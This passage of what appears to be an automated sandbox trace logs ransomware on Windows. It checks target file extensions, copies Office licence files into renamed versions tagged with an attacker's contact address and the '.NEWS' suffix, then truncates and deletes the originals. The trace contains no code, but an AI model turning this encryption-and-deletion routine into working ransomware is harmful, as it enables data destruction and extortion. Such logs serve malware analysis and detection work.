(lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.988] lstrlenW (lpString=".doc") returned 4 [0188.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString=".docx") returned 5 [0188.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0188.988] lstrlenW (lpString=".pdf") returned 4 [0188.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString=".xls") returned 4 [0188.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString=".xlsx") returned 5 [0188.988] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0188.988] lstrlenW (lpString=".ppt") returned 4 [0188.988] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.988] lstrlenW (lpString=".zip") returned 4 [0188.988] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString=".rar") returned 4 [0188.988] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString=".bz2") returned 4 [0188.988] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0188.988] lstrlenW (lpString=".7z") returned 3 [0188.988] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0188.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.989] lstrlenW (lpString=".dbf") returned 4 [0188.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0188.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.989] lstrlenW (lpString=".1cd") returned 4 [0188.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0188.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Trial2-ppd.xrm-ms") returned 80 [0188.989] lstrlenW (lpString=".jpg") returned 4 [0188.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0188.989] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0188.989] lstrlenW (lpString="MondoR_BypassTrial180-ul-oob.xrm-ms") returned 35 [0188.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.990] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11623) returned 1 [0188.990] CloseHandle (hObject=0x404) returned 1 [0188.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 0x220 [0188.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0188.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0188.991] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.991] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0188.992] GetLastError () returned 0x0 [0188.992] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d67, lpOverlapped=0x0) returned 1 [0188.993] WriteFile (in: hFile=0x408, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d70, lpOverlapped=0x0) returned 1 [0188.994] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0188.994] WriteFile (in: hFile=0x408, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x11a, lpOverlapped=0x0) returned 1 [0188.995] SetEndOfFile (hFile=0x408) returned 1 [0188.995] CloseHandle (hObject=0x408) returned 1 [0188.995] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0188.995] SetEndOfFile (hFile=0x404) returned 1 [0188.998] CloseHandle (hObject=0x404) returned 1 [0188.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0188.999] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_bypasstrial180-ul-oob.xrm-ms")) returned 1 [0188.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0188.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0188.999] lstrlenW (lpString=".doc") returned 4 [0188.999] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0188.999] lstrlenW (lpString=".docx") returned 5 [0189.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.000] lstrlenW (lpString=".pdf") returned 4 [0189.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".xls") returned 4 [0189.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".xlsx") returned 5 [0189.000] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.000] lstrlenW (lpString=".ppt") returned 4 [0189.000] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.000] lstrlenW (lpString=".zip") returned 4 [0189.000] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".rar") returned 4 [0189.000] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".bz2") returned 4 [0189.000] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".7z") returned 3 [0189.000] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.000] lstrlenW (lpString=".dbf") returned 4 [0189.000] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.000] lstrlenW (lpString=".1cd") returned 4 [0189.000] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.000] lstrlenW (lpString=".jpg") returned 4 [0189.000] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.000] lstrlenW (lpString=".doc") returned 4 [0189.000] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".docx") returned 5 [0189.000] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.000] lstrlenW (lpString=".pdf") returned 4 [0189.000] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".xls") returned 4 [0189.000] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.000] lstrlenW (lpString=".xlsx") returned 5 [0189.001] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.001] lstrlenW (lpString=".ppt") returned 4 [0189.001] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.001] lstrlenW (lpString=".zip") returned 4 [0189.001] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.001] lstrlenW (lpString=".rar") returned 4 [0189.001] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.001] lstrlenW (lpString=".bz2") returned 4 [0189.001] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.001] lstrlenW (lpString=".7z") returned 3 [0189.001] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.001] lstrlenW (lpString=".dbf") returned 4 [0189.001] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.001] lstrlenW (lpString=".1cd") returned 4 [0189.001] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_BypassTrial180-ul-oob.xrm-ms") returned 85 [0189.001] lstrlenW (lpString=".jpg") returned 4 [0189.001] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.001] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.001] lstrlenW (lpString="MondoR_Grace-ppd.xrm-ms") returned 23 [0189.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.002] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=26459) returned 1 [0189.002] CloseHandle (hObject=0x404) returned 1 [0189.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 0x220 [0189.002] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.003] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.003] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0189.004] GetLastError () returned 0x0 [0189.004] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x675b, lpOverlapped=0x0) returned 1 [0189.006] WriteFile (in: hFile=0x408, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x6760, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x6760, lpOverlapped=0x0) returned 1 [0189.007] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.007] WriteFile (in: hFile=0x408, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x102, lpOverlapped=0x0) returned 1 [0189.007] SetEndOfFile (hFile=0x408) returned 1 [0189.008] CloseHandle (hObject=0x408) returned 1 [0189.008] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.008] SetEndOfFile (hFile=0x404) returned 1 [0189.052] CloseHandle (hObject=0x404) returned 1 [0189.052] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.052] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ppd.xrm-ms")) returned 1 [0189.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.053] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.053] lstrlenW (lpString=".doc") returned 4 [0189.053] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.053] lstrlenW (lpString=".docx") returned 5 [0189.053] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.053] lstrlenW (lpString=".pdf") returned 4 [0189.053] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.053] lstrlenW (lpString=".xls") returned 4 [0189.053] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.053] lstrlenW (lpString=".xlsx") returned 5 [0189.054] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.054] lstrlenW (lpString=".ppt") returned 4 [0189.054] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.054] lstrlenW (lpString=".zip") returned 4 [0189.054] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString=".rar") returned 4 [0189.054] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString=".bz2") returned 4 [0189.054] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString=".7z") returned 3 [0189.054] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.054] lstrlenW (lpString=".dbf") returned 4 [0189.054] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.054] lstrlenW (lpString=".1cd") returned 4 [0189.054] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.054] lstrlenW (lpString=".jpg") returned 4 [0189.054] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.054] lstrlenW (lpString=".doc") returned 4 [0189.054] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString=".docx") returned 5 [0189.054] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.054] lstrlenW (lpString=".pdf") returned 4 [0189.054] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString=".xls") returned 4 [0189.054] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.054] lstrlenW (lpString=".xlsx") returned 5 [0189.054] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.054] lstrlenW (lpString=".ppt") returned 4 [0189.054] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.055] lstrlenW (lpString=".zip") returned 4 [0189.055] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.055] lstrlenW (lpString=".rar") returned 4 [0189.055] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.055] lstrlenW (lpString=".bz2") returned 4 [0189.055] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.055] lstrlenW (lpString=".7z") returned 3 [0189.055] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.055] lstrlenW (lpString=".dbf") returned 4 [0189.055] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.055] lstrlenW (lpString=".1cd") returned 4 [0189.055] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ppd.xrm-ms") returned 73 [0189.055] lstrlenW (lpString=".jpg") returned 4 [0189.055] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0189.055] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0189.055] lstrlenW (lpString="MondoR_Grace-ul-oob.xrm-ms") returned 26 [0189.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.056] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11589) returned 1 [0189.056] CloseHandle (hObject=0x404) returned 1 [0189.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 0x220 [0189.056] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0189.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0189.057] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.057] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0189.058] GetLastError () returned 0x0 [0189.058] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d45, lpOverlapped=0x0) returned 1 [0189.060] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0189.061] ReadFile (in: hFile=0x404, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0189.061] WriteFile (in: hFile=0x56c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x108, lpOverlapped=0x0) returned 1 [0189.061] SetEndOfFile (hFile=0x56c) returned 1 [0189.062] CloseHandle (hObject=0x56c) returned 1 [0189.062] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0189.062] SetEndOfFile (hFile=0x404) returned 1 [0189.064] CloseHandle (hObject=0x404) returned 1 [0189.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0189.065] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_grace-ul-oob.xrm-ms")) returned 1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.066] lstrlenW (lpString=".doc") returned 4 [0189.066] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString=".docx") returned 5 [0189.066] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0189.066] lstrlenW (lpString=".pdf") returned 4 [0189.066] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString=".xls") returned 4 [0189.066] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString=".xlsx") returned 5 [0189.066] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0189.066] lstrlenW (lpString=".ppt") returned 4 [0189.066] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.066] lstrlenW (lpString=".zip") returned 4 [0189.066] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString=".rar") returned 4 [0189.066] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString=".bz2") returned 4 [0189.066] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString=".7z") returned 3 [0189.066] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.066] lstrlenW (lpString=".dbf") returned 4 [0189.066] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76 [0189.066] lstrlenW (lpString=".1cd") returned 4 [0189.066] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0189.066] lstrlenW (lpString="C:\\Program Files\\Microsoft 